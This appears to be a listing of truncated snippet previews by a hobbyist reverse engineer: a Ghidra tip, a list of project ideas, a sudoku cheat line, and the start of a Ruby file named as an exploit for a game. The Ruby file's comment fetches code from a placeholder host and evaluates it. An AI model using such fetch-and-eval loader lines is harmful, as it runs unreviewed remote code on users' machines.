misson20000

things that will confuse you about ghidra if you're like me

Pointers are the wrong size in archives

Certain data types are "dynamically sized", such as pointers and a lot of the built-in integer types (looking at ulong). This means that their sizes depend on the context they're used in. In a program, your pointers will be the correct size for the architecture. Unfortunately, archives are not associated with a program and fall back on the defaults, where pointers are 4 bytes long. If you use a pointer in a struct and associate it into a program, the pointer will

misson20000

# load with $ffi.eval($ffi.http_get("http://host.domain/path/to/exploit.rb"))

if $ffi
  # if we're running under A Dark Room
  $text = []

  def tick(g)
    y = 200
    $text.each do |t|
      g.labels << [20, y, t, 1, 0, 0, 0, 0]

misson20000

m20k's list of bad ideas™

• Tools
  • Charm: "A Hex Editor That Doesn't Suck." (~4/10/2020)
• RE Projects
  • Oculus quest controllers. (1/13/2020)
• Switch Stuff
  • Twili maintenance. (4/13/2020)
  • Lakebed: emulator-based testing rig for stratosphere (9/10/2019)
  • Build a rigorous test suite for rtld, capturing the differences between all the versions, and reimplement using the same test suite. misson20000/freertld (1/15/2019)
• Reimplement LM using a ring-buffer to allow multiple-producer multiple-consumer log buffering. Add code to Twili for reading this out. (1/15/2019)

misson20000

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misson20000

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var sudokuValues = document.getElementById("cheat").value;